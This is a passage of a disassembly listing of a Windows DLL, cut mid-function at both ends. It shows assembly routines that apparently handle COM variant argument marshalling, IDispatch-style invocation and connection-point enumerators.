arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
mov eax, [esp+arg_0]
jmp short loc_69B506A5
; ---------------------------------------------------------------------------
loc_69B50697: ; CODE XREF: sub_69B5068D+1Cj
test ecx, ecx
jle short loc_69B506AB
mov edx, [eax+14h]
mov edx, [edx+10h]
mov [eax+14h], edx
dec ecx
loc_69B506A5: ; CODE XREF: sub_69B5068D+8j
cmp dword ptr [eax+14h], 0
jnz short loc_69B50697
loc_69B506AB: ; CODE XREF: sub_69B5068D+Cj
xor eax, eax
test ecx, ecx
setnz al
retn 8
sub_69B5068D endp
; =============== S U B R O U T I N E =======================================
sub_69B506B5 proc near ; DATA XREF: .text:69B127D8o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [eax+10h]
mov [eax+14h], ecx
xor eax, eax
retn 4
sub_69B506B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B506C4(int, int, VARIANTARG *pvargSrc)
sub_69B506C4 proc near ; CODE XREF: sub_69B507CB+61p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
pvargSrc = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+pvargSrc]
and [ebp+var_4], 0
push ebx
push esi
push edi
push 4
pop ebx
add ecx, ebx
lea edi, [ecx-4]
mov ax, [edi]
test ax, ax
jz loc_69B507BF
add ecx, 0FFFFFFF0h
mov [ebp+pvargSrc], ecx
loc_69B506EC: ; CODE XREF: sub_69B506C4+F5j
mov ecx, [ebp+arg_0]
add dword ptr [ecx], 0FFFFFFF0h
mov esi, [ecx]
cmp esi, [ebp+arg_4]
jz loc_69B507C4
mov [esi], ax
movzx eax, ax
cmp eax, 0Bh
jg short loc_69B50769
jz short loc_69B5075B
dec eax
dec eax
jz short loc_69B5075B
dec eax
jz short loc_69B50783
sub eax, 5
jz short loc_69B50733
dec eax
jnz short loc_69B50776
loc_69B50719: ; CODE XREF: sub_69B506C4+ABj
add [ebp+pvargSrc], ebx
add edi, ebx
mov eax, [edi]
test eax, eax
mov [esi+8], eax
jz loc_69B507AB
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short loc_69B507AB
; ---------------------------------------------------------------------------
loc_69B50733: ; CODE XREF: sub_69B506C4+50j
add [ebp+pvargSrc], ebx
add edi, ebx
mov eax, [edi]
test eax, eax
mov [esi+8], eax
jz short loc_69B507AB
push eax ; OLECHAR *
call SysAllocString
test eax, eax
mov [esi+8], eax
jnz short loc_69B507AB
mov eax, 8007000Eh
loc_69B50754: ; CODE XREF: sub_69B506C4+E5j
; sub_69B506C4+FEj ...
pop edi
pop esi
pop ebx
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B5075B: ; CODE XREF: sub_69B506C4+44j
; sub_69B506C4+48j
add [ebp+pvargSrc], ebx
add edi, ebx
mov ax, [edi]
mov [esi+8], ax
jmp short loc_69B507AB
; ---------------------------------------------------------------------------
loc_69B50769: ; CODE XREF: sub_69B506C4+42j
sub eax, 0Ch
jz short loc_69B5078F
dec eax
jz short loc_69B50719
sub eax, 9
jz short loc_69B5077E
loc_69B50776: ; CODE XREF: sub_69B506C4+53j
add dword ptr [ecx], 10h
dec [ebp+var_4]
jmp short loc_69B507AB
; ---------------------------------------------------------------------------
loc_69B5077E: ; CODE XREF: sub_69B506C4+B0j
mov word ptr [esi], 3
loc_69B50783: ; CODE XREF: sub_69B506C4+4Bj
add [ebp+pvargSrc], ebx
add edi, ebx
mov eax, [edi]
mov [esi+8], eax
jmp short loc_69B507AB
; ---------------------------------------------------------------------------
loc_69B5078F: ; CODE XREF: sub_69B506C4+A8j
push esi ; pvarg
call VariantInit
add [ebp+pvargSrc], 10h
push [ebp+pvargSrc] ; pvargSrc
add edi, 10h
push esi ; pvargDest
call VariantCopy
test eax, eax
jl short loc_69B50754
loc_69B507AB: ; CODE XREF: sub_69B506C4+61j
; sub_69B506C4+6Dj ...
inc [ebp+var_4]
add [ebp+pvargSrc], ebx
add edi, ebx
mov ax, [edi]
test ax, ax
jnz loc_69B506EC
loc_69B507BF: ; CODE XREF: sub_69B506C4+1Cj
mov eax, [ebp+var_4]
jmp short loc_69B50754
; ---------------------------------------------------------------------------
loc_69B507C4: ; CODE XREF: sub_69B506C4+33j
mov eax, 80004005h
jmp short loc_69B50754
sub_69B506C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
; int __cdecl sub_69B507CB(int, int, int, VARIANTARG pvargSrc)
sub_69B507CB proc near ; CODE XREF: sub_69B3E475+6Dp
; sub_69B3E516+5Dp ...
var_B8 = dword ptr -0B8h
pvarg = VARIANTARG ptr -28h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
pvargSrc = VARIANTARG ptr 14h
push ebp
lea ebp, [esp-6Ch]
sub esp, 0B8h
push esi
xor esi, esi
cmp [ebp+6Ch+arg_4], esi
lea eax, [ebp+6Ch+var_18]
mov [ebp+6Ch+var_4], eax
mov [ebp+6Ch+var_8], 0FFFFFD9Bh
jnz short loc_69B507F5
mov eax, 80004003h
jmp loc_69B508A4
; ---------------------------------------------------------------------------
loc_69B507F5: ; CODE XREF: sub_69B507CB+1Ej
cmp [ebp+6Ch+arg_8], esi
push ebx
mov ebx, VariantInit
push edi
jz short loc_69B5081D
lea eax, [ebp+6Ch+pvarg]
push eax ; pvarg
mov [ebp+6Ch+var_4], eax
call ebx ; VariantInit
mov eax, [ebp+6Ch+arg_8]
mov word ptr [ebp+6Ch+pvarg.anonymous_0], 9
mov dword ptr [ebp+6Ch+pvarg.anonymous_0+8], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B5081D: ; CODE XREF: sub_69B507CB+35j
lea eax, [ebp+6Ch+pvargSrc]
push eax ; pvargSrc
lea eax, [ebp+6Ch+var_B8]
push eax ; int
lea eax, [ebp+6Ch+var_4]
push eax ; int
call sub_69B506C4
cmp eax, esi
mov edi, [ebp+6Ch+var_4]
mov ecx, [ebp+6Ch+arg_8]
ja short loc_69B50842
cmp ecx, esi
mov [ebp+6Ch+var_18], esi
jz short loc_69B50845
loc_69B50842: ; CODE XREF: sub_69B507CB+6Ej
mov [ebp+6Ch+var_18], edi
loc_69B50845: ; CODE XREF: sub_69B507CB+75j
xor edx, edx
cmp ecx, esi
setnz dl
add eax, edx
neg ecx
mov [ebp+6Ch+var_10], eax
sbb ecx, ecx
lea eax, [ebp+6Ch+var_8]
and ecx, eax
cmp [ebp+6Ch+arg_0], esi
mov [ebp+6Ch+var_14], ecx
mov [ebp+6Ch+var_C], edx
jz short loc_69B5086A
push [ebp+6Ch+arg_0] ; pvarg
call ebx ; VariantInit
loc_69B5086A: ; CODE XREF: sub_69B507CB+98j
mov eax, [ebp+6Ch+arg_4]
mov ecx, [eax]
push esi
push esi
push [ebp+6Ch+arg_0]
lea edx, [ebp+6Ch+var_18]
push edx
push 1
push 800h
push offset dword_69B2AFB0
push esi
push eax
call dword ptr [ecx+18h]
mov esi, eax
jmp short loc_69B50899
; ---------------------------------------------------------------------------
loc_69B5088D: ; CODE XREF: sub_69B507CB+D3j
mov eax, edi
push eax ; pvarg
add edi, 10h
call VariantClear
loc_69B50899: ; CODE XREF: sub_69B507CB+C0j
lea eax, [ebp+6Ch+var_18]
cmp edi, eax
jb short loc_69B5088D
pop edi
mov eax, esi
pop ebx
loc_69B508A4: ; CODE XREF: sub_69B507CB+25j
pop esi
add ebp, 6Ch
leave
retn
sub_69B507CB endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B508AA(LPLONG Target)
sub_69B508AA proc near ; CODE XREF: sub_69B50BB3+4Ap
; sub_69B50EF2+12p ...
Target = dword ptr 4
mov eax, [esp+Target]
push esi
mov esi, ecx
push eax ; Target
mov [esi+4], eax
call sub_69B18980
mov [esi], eax
mov eax, esi
pop esi
retn 4
sub_69B508AA endp
; =============== S U B R O U T I N E =======================================
sub_69B508C2 proc near ; CODE XREF: .text:69B50A3Fp
mov dword ptr [ecx-4], offset off_69B12774
mov dword ptr [ecx], offset off_69B282E4
mov ecx, [ecx+10h]
test ecx, ecx
jz sub_69B2C65C
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
jmp sub_69B2C65C
sub_69B508C2 endp
; =============== S U B R O U T I N E =======================================
sub_69B508E5 proc near ; CODE XREF: .text:69B50A5Ep
mov dword ptr [ecx-4], offset off_69B12794
mov dword ptr [ecx], offset off_69B282E8
mov ecx, [ecx+0Ch]
test ecx, ecx
jz sub_69B2C65C
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
jmp sub_69B2C65C
sub_69B508E5 endp
; =============== S U B R O U T I N E =======================================
sub_69B50908 proc near ; CODE XREF: .text:69B50A7Dp
mov dword ptr [ecx-4], offset off_69B127A8
mov dword ptr [ecx], offset off_69B282EC
mov ecx, [ecx+0Ch]
test ecx, ecx
jz sub_69B2C65C
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
jmp sub_69B2C65C
sub_69B50908 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5092B proc near ; DATA XREF: .text:69B127D0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 1
jnb short loc_69B5093F
mov eax, 80070057h
jmp locret_69B509C5
; ---------------------------------------------------------------------------
loc_69B5093F: ; CODE XREF: sub_69B5092B+8j
jbe short loc_69B5094E
cmp [ebp+arg_C], 0
jnz short loc_69B5094E
mov eax, 80004003h
jmp short locret_69B509C5
; ---------------------------------------------------------------------------
loc_69B5094E: ; CODE XREF: sub_69B5092B:loc_69B5093Fj
; sub_69B5092B+1Aj
push ebx
xor ebx, ebx
cmp [ebp+arg_4], ebx
mov [ebp+var_4], ebx
jbe short loc_69B509AC
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_0]
loc_69B50961: ; CODE XREF: sub_69B5092B+7Dj
mov ecx, [edi+14h]
test ecx, ecx
jz short loc_69B509AA
mov ecx, [ecx+14h]
mov eax, ebx
shl eax, 3
mov [eax+esi+4], ecx
mov ecx, [edi+14h]
mov edx, [ecx]
dec edx
jz short loc_69B5098C
dec edx
jz short loc_69B50987
dec edx
jnz short loc_69B50992
mov ecx, [ecx+0Ch]
jmp short loc_69B5098F
; ---------------------------------------------------------------------------
loc_69B50987: ; CODE XREF: sub_69B5092B+52j
mov ecx, [ecx+8]
jmp short loc_69B5098F
; ---------------------------------------------------------------------------
loc_69B5098C: ; CODE XREF: sub_69B5092B+4Fj
mov ecx, [ecx+4]
loc_69B5098F: ; CODE XREF: sub_69B5092B+5Aj
; sub_69B5092B+5Fj
mov [eax+esi], ecx
loc_69B50992: ; CODE XREF: sub_69B5092B+55j
mov eax, [eax+esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [edi+14h]
mov eax, [eax+10h]
inc ebx
cmp ebx, [ebp+arg_4]
mov [edi+14h], eax
jb short loc_69B50961
loc_69B509AA: ; CODE XREF: sub_69B5092B+3Bj
pop edi
pop esi
loc_69B509AC: ; CODE XREF: sub_69B5092B+2Cj
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_69B509B5
mov [eax], ebx
loc_69B509B5: ; CODE XREF: sub_69B5092B+86j
cmp ebx, [ebp+arg_4]
pop ebx
jz short loc_69B509C2
mov [ebp+var_4], 1
loc_69B509C2: ; CODE XREF: sub_69B5092B+8Ej
mov eax, [ebp+var_4]
locret_69B509C5: ; CODE XREF: sub_69B5092B+Fj
; sub_69B5092B+21j
leave
retn 10h
sub_69B5092B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B509C9 proc near ; CODE XREF: sub_69B3E475+87p
; sub_69B3E516+77p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_4]
push edi
xor edi, edi
cmp esi, edi
jnz short loc_69B509DE
xor eax, eax
jmp short loc_69B50A36
; ---------------------------------------------------------------------------
loc_69B509DE: ; CODE XREF: sub_69B509C9+Fj
push ebx
xor ebx, ebx
mov [ebp+var_10], edi
mov [ebp+var_8], edi
mov [ebp+var_C], edi
mov [ebp+var_4], edi
loc_69B509ED: ; CODE XREF: sub_69B509C9+68j
cmp ebx, edi
jl short loc_69B50A33
mov eax, [esi]
cmp eax, 2
jnz short loc_69B50A1B
mov eax, [esi+8]
mov ecx, [eax]
push edi
push edi
push edi
lea edx, [ebp+var_10]
push edx
push 1
push 800h
push offset dword_69B2AFB0
push [ebp+arg_0]
push eax
call dword ptr [ecx+18h]
mov ebx, eax
jmp short loc_69B50A2C
; ---------------------------------------------------------------------------
loc_69B50A1B: ; CODE XREF: sub_69B509C9+2Dj
cmp eax, 3
jnz short loc_69B50A2C
mov eax, [esi+0Ch]
push [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
loc_69B50A2C: ; CODE XREF: sub_69B509C9+50j
; sub_69B509C9+55j
mov esi, [esi+10h]
cmp esi, edi
jnz short loc_69B509ED
loc_69B50A33: ; CODE XREF: sub_69B509C9+26j
mov eax, ebx
pop ebx
loc_69B50A36: ; CODE XREF: sub_69B509C9+13j
pop edi
pop esi
leave
retn 0Ch
sub_69B509C9 endp
; ---------------------------------------------------------------------------
loc_69B50A3C: ; DATA XREF: .text:off_69B282E4o
push esi
mov esi, ecx
call sub_69B508C2
test byte ptr [esp+8], 1
jz short loc_69B50A54
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B50A54: ; CODE XREF: .text:69B50A49j
lea eax, [esi-4]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B50A5B: ; DATA XREF: .text:off_69B282E8o
push esi
mov esi, ecx
call sub_69B508E5
test byte ptr [esp+8], 1
jz short loc_69B50A73
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B50A73: ; CODE XREF: .text:69B50A68j
lea eax, [esi-4]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B50A7A: ; DATA XREF: .text:off_69B282ECo
push esi
mov esi, ecx
call sub_69B50908
test byte ptr [esp+8], 1
jz short loc_69B50A92
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B50A92: ; CODE XREF: .text:69B50A87j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B50A99 proc near ; CODE XREF: sub_69B50B70+6p
push esi
mov esi, ecx
push offset loc_69B50AB4
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B50A99 endp
; ---------------------------------------------------------------------------
align 4
loc_69B50AB4: ; DATA XREF: sub_69B50A99+3o
xchg dh, [edx-454B4E6Ah]
sbb dl, [eax]
mov dh, 9Ch
add [edx+71D3400h], ch
; =============== S U B R O U T I N E =======================================
sub_69B50AC4 proc near ; CODE XREF: sub_69B50CCC+5p
push esi
mov esi, ecx
push offset dword_69B2B100
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B50AC4 endp
; =============== S U B R O U T I N E =======================================
sub_69B50ADD proc near ; CODE XREF: sub_69B50DC6+5p
push esi
mov esi, ecx
push offset loc_69B50AF8
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B50ADD endp
; ---------------------------------------------------------------------------
align 4
loc_69B50AF8: ; DATA XREF: sub_69B50ADD+3o
test [edx-454B4E6Ah], esi
sbb dl, [eax]
mov dh, 9Ch
add [edx+71D3400h], ch
; =============== S U B R O U T I N E =======================================
sub_69B50B08 proc near ; CODE XREF: sub_69B51071+5p
push esi
mov esi, ecx
push offset loc_69B50B24
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B50B08 endp
; ---------------------------------------------------------------------------
align 4
loc_69B50B24: ; DATA XREF: sub_69B50B08+3o
xchg esi, [edx-454B4E6Ah]
sbb dl, [eax]
mov dh, 9Ch
add [edx+71D3400h], ch
; =============== S U B R O U T I N E =======================================
sub_69B50B34 proc near ; CODE XREF: sub_69B50ECD+11p
; sub_69B50EF2+3Ep
push ebx
push esi
push edi
mov esi, ecx
push 0
lea edi, [esi+4]
push edi
call sub_69B17320
push 0
lea ebx, [esi+8]
push ebx
call sub_69B17320
push 0
add esi, 0Ch
push esi
call sub_69B17320
push esi
call sub_69B17230
push ebx
call sub_69B17230
push edi
call sub_69B17230
pop edi
pop esi
pop ebx
retn
sub_69B50B34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B50B70 proc near ; CODE XREF: sub_69B50D15+21p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push esi
mov esi, ecx
call sub_69B50A99
mov eax, [ebp+arg_0]
mov [esi+1Ch], eax
mov eax, [ebp+arg_8]
mov [esi+10h], eax
mov eax, [ebp+arg_4]
mov dword ptr [esi], offset off_69B12774
mov dword ptr [esi+4], offset off_69B282E4
mov [esi+14h], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+arg_C]
mov [esi+18h], eax
mov eax, [ebp+arg_10]
mov [esi+20h], eax
mov eax, esi
pop esi
pop ebp
retn 14h
sub_69B50B70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B50BB3 proc near ; DATA XREF: .text:69B12788o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_69B50CBB
cmp [ebp+arg_8], edi
jz loc_69B50CBB
push 18h
call sub_69B11E44
cmp eax, edi
jz short loc_69B50BEA
mov [eax+4], edi
mov [eax+8], edi
mov [eax+0Ch], edi
mov esi, eax
jmp short loc_69B50BEC
; ---------------------------------------------------------------------------
loc_69B50BEA: ; CODE XREF: sub_69B50BB3+28j
xor esi, esi
loc_69B50BEC: ; CODE XREF: sub_69B50BB3+35j
cmp esi, edi
jz loc_69B50CB2
mov edi, [ebp+arg_0]
push dword ptr [edi+18h] ; Target
lea ecx, [ebp+var_C]
call sub_69B508AA
mov eax, [edi+20h]
dec eax
dec eax
jz short loc_69B50C82
dec eax
jz short loc_69B50C50
mov [ebp+arg_4], 80004002h
loc_69B50C13: ; CODE XREF: sub_69B50BB3+B0j
; sub_69B50BB3+E2j
push ebx
lea eax, [esi+4]
push eax
mov dword ptr [esi], 1
call sub_69B17320
loc_69B50C23: ; CODE XREF: sub_69B50BB3+CDj
mov eax, [edi+10h]
mov eax, [eax]
push offset dword_69B9B26C ; lpAddend
mov [esi+10h], eax
call ds:InterlockedIncrement ; InterlockedIncrement
mov ecx, [ebp+arg_8]
push [ebp+var_C]
mov [esi+14h], eax
push [ebp+var_8]
mov [ecx], eax
mov eax, [edi+10h]
mov [eax], esi
call sub_69B18788
jmp short loc_69B50CC2
; ---------------------------------------------------------------------------
loc_69B50C50: ; CODE XREF: sub_69B50BB3+57j
mov eax, [ebx]
lea ecx, [ebp+arg_0]
push ecx
push offset dword_69B2B0E0
push ebx
call dword ptr [eax]
test eax, eax
mov [ebp+arg_4], eax
jl short loc_69B50C13
push [ebp+arg_0]
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov eax, [ebp+arg_0]
mov dword ptr [esi], 3
loc_69B50C7A: ; CODE XREF: sub_69B50BB3+FDj
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_69B50C23
; ---------------------------------------------------------------------------
loc_69B50C82: ; CODE XREF: sub_69B50BB3+54j
mov eax, [ebx]
lea ecx, [ebp+var_4]
push ecx
push offset dword_69B2AFE0
push ebx
call dword ptr [eax]
test eax, eax
mov [ebp+arg_4], eax
jl loc_69B50C13
push [ebp+var_4]
lea eax, [esi+8]
push eax
call sub_69B17320
mov eax, [ebp+var_4]
mov dword ptr [esi], 2
jmp short loc_69B50C7A
; ---------------------------------------------------------------------------
loc_69B50CB2: ; CODE XREF: sub_69B50BB3+3Bj
mov [ebp+arg_4], 8007000Eh
jmp short loc_69B50CC2
; ---------------------------------------------------------------------------
loc_69B50CBB: ; CODE XREF: sub_69B50BB3+10j
; sub_69B50BB3+19j
mov [ebp+arg_4], 80004003h
loc_69B50CC2: ; CODE XREF: sub_69B50BB3+9Bj
; sub_69B50BB3+106j
mov eax, [ebp+arg_4]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B50BB3 endp
; =============== S U B R O U T I N E =======================================
sub_69B50CCC proc near ; CODE XREF: sub_69B1C12C+2F92p
; sub_69B5D45C+D1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov ebx, ecx
call sub_69B50AC4
mov esi, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_C]
mov dword ptr [ebx], offset off_69B12794
mov dword ptr [ebx+4], offset off_69B282E8
lea edi, [ebx+1Ch]
movsd
movsd
movsd
movsd
mov [ebx+18h], eax
mov eax, [esp+0Ch+arg_4]
test eax, eax
mov [ebx+10h], eax
jz short loc_69B50D06
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B50D06: ; CODE XREF: sub_69B50CCC+32j
mov eax, [esp+0Ch+arg_8]
pop edi
mov [ebx+14h], eax
pop esi
mov eax, ebx
pop ebx
retn 10h
sub_69B50CCC endp
; =============== S U B R O U T I N E =======================================
sub_69B50D15 proc near ; CODE XREF: sub_69B50D43+5Ep
; sub_69B50E23+4Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 24h
mov esi, ecx
call sub_69B11E44
test eax, eax
jz short loc_69B50D3D
push [esp+4+arg_4]
mov ecx, eax
push dword ptr [esi+18h]
push dword ptr [esi+14h]
push dword ptr [esi+10h]
push [esp+14h+arg_0]
call sub_69B50B70
jmp short loc_69B50D3F
; ---------------------------------------------------------------------------
loc_69B50D3D: ; CODE XREF: sub_69B50D15+Cj
xor eax, eax
loc_69B50D3F: ; CODE XREF: sub_69B50D15+26j
pop esi
retn 8
sub_69B50D15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B50D43 proc near ; DATA XREF: .text:69B127A4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_8]
test ebx, ebx
push esi
push edi
jz short loc_69B50DB5
and dword ptr [ebx], 0
mov eax, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2B0E0
mov esi, eax
xor edx, edx
repe cmpsd
jnz short loc_69B50D6F
push 3
jmp short loc_69B50D9B
; ---------------------------------------------------------------------------
loc_69B50D6F: ; CODE XREF: sub_69B50D43+26j
mov edi, [ebp+arg_0]
push 4
add edi, 1Ch
pop ecx
mov esi, eax
xor edx, edx
repe cmpsd
jz short loc_69B50D99
push 4
pop ecx
mov edi, offset dword_69B2AFE0
mov esi, eax
xor edx, edx
repe cmpsd
jz short loc_69B50D99
mov [ebp+var_4], 80040200h
jmp short loc_69B50DBC
; ---------------------------------------------------------------------------
loc_69B50D99: ; CODE XREF: sub_69B50D43+3Bj
; sub_69B50D43+4Bj
push 2
loc_69B50D9B: ; CODE XREF: sub_69B50D43+2Aj
pop ecx
push ecx
mov ecx, [ebp+arg_0]
push eax
call sub_69B50D15
test eax, eax
mov [ebx], eax
jnz short loc_69B50DBC
mov [ebp+var_4], 8007000Eh
jmp short loc_69B50DBC
; ---------------------------------------------------------------------------
loc_69B50DB5: ; CODE XREF: sub_69B50D43+10j
mov [ebp+var_4], 80004003h
loc_69B50DBC: ; CODE XREF: sub_69B50D43+54j
; sub_69B50D43+67j ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B50D43 endp
; =============== S U B R O U T I N E =======================================
sub_69B50DC6 proc near ; CODE XREF: sub_69B50F55+29p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, ecx
call sub_69B50ADD
mov eax, [esp+0Ch+arg_4]
and dword ptr [ebx+3Ch], 0
and dword ptr [ebx+10h], 0
test eax, eax
mov dword ptr [ebx], offset off_69B127A8
mov dword ptr [ebx+4], offset off_69B282EC
jz short loc_69B50DF6
mov [ebx+10h], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B50DF6: ; CODE XREF: sub_69B50DC6+25j
mov dword ptr [ebx+24h], 3
lea edi, [ebx+14h]
mov esi, offset dword_69B2B0E0
movsd
movsd
movsd
movsd
mov esi, [esp+0Ch+arg_0]
mov dword ptr [ebx+38h], 2
lea edi, [ebx+28h]
movsd
movsd
movsd
movsd
pop edi
pop esi
mov eax, ebx
pop ebx
retn 8
sub_69B50DC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B50E23 proc near ; DATA XREF: .text:69B127B4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_8]
push edi
xor edi, edi
cmp ebx, edi
mov [ebp+var_4], edi
jz loc_69B50EBD
xor eax, eax
inc eax
cmp [ebp+arg_4], eax
mov [ebx], edi
jnb short loc_69B50E48
mov [ebp+var_4], eax
jmp short loc_69B50EC4
; ---------------------------------------------------------------------------
loc_69B50E48: ; CODE XREF: sub_69B50E23+1Ej
cmp [ebp+arg_4], edi
jle short loc_69B50E9D
push esi
mov esi, [ebp+arg_0]
loc_69B50E51: ; CODE XREF: sub_69B50E23+5Dj
mov eax, [esi+3Ch]
add eax, edi
cmp eax, 2
jnb short loc_69B50E9C
mov eax, [esi+3Ch]
mov ecx, [esi+10h]
add eax, edi
lea eax, [eax+eax*4]
lea eax, [esi+eax*4]
push dword ptr [eax+24h]
add eax, 14h
push eax
call sub_69B50D15
test eax, eax
mov [ebx+edi*4], eax
jz short loc_69B50E84
inc edi
cmp edi, [ebp+arg_4]
jl short loc_69B50E51
jmp short loc_69B50E9C
; ---------------------------------------------------------------------------
loc_69B50E84: ; CODE XREF: sub_69B50E23+57j
dec edi
jmp short loc_69B50E91
; ---------------------------------------------------------------------------
loc_69B50E87: ; CODE XREF: sub_69B50E23+70j
mov eax, [ebx+edi*4]
mov ecx, [eax]
push eax
dec edi
call dword ptr [ecx+8]
loc_69B50E91: ; CODE XREF: sub_69B50E23+62j
test edi, edi
jg short loc_69B50E87
mov [ebp+var_4], 8007000Eh
loc_69B50E9C: ; CODE XREF: sub_69B50E23+36j
; sub_69B50E23+5Fj
pop esi
loc_69B50E9D: ; CODE XREF: sub_69B50E23+28j
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_69B50EAF
cmp [ebp+var_4], 0
jl short loc_69B50EAF
lea ecx, [edi-1]
mov [eax], ecx
loc_69B50EAF: ; CODE XREF: sub_69B50E23+7Fj
; sub_69B50E23+85j
cmp edi, [ebp+arg_4]
jge short loc_69B50EC4
mov [ebp+var_4], 1
jmp short loc_69B50EC4
; ---------------------------------------------------------------------------
loc_69B50EBD: ; CODE XREF: sub_69B50E23+10j
mov [ebp+var_4], 80004003h
loc_69B50EC4: ; CODE XREF: sub_69B50E23+23j
; sub_69B50E23+8Fj ...
mov eax, [ebp+var_4]
pop edi
pop ebx
leave
retn 10h
sub_69B50E23 endp
; =============== S U B R O U T I N E =======================================
sub_69B50ECD proc near ; CODE XREF: sub_69B3EF5A+34p
; sub_69B50F99+1Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_69B50EEE
push edi
loc_69B50ED7: ; CODE XREF: sub_69B50ECD+1Ej
mov edi, esi
mov esi, [esi+10h]
mov ecx, edi
call sub_69B50B34
push edi
call sub_69B1B2B7
test esi, esi
jnz short loc_69B50ED7
pop edi
loc_69B50EEE: ; CODE XREF: sub_69B50ECD+7j
pop esi
retn 4
sub_69B50ECD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B50EF2 proc near ; DATA XREF: .text:69B1278Co
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+18h] ; Target
lea ecx, [ebp+var_8]
xor edi, edi
call sub_69B508AA
mov eax, [esi+10h]
jmp short loc_69B50F1F
; ---------------------------------------------------------------------------
loc_69B50F0E: ; CODE XREF: sub_69B50EF2+2Fj
mov ecx, [eax]
test ecx, ecx
jz short loc_69B50F3D
mov edx, [ecx+14h]
cmp edx, [ebp+arg_4]
jz short loc_69B50F23
lea eax, [ecx+10h]
loc_69B50F1F: ; CODE XREF: sub_69B50EF2+1Aj
test eax, eax
jnz short loc_69B50F0E
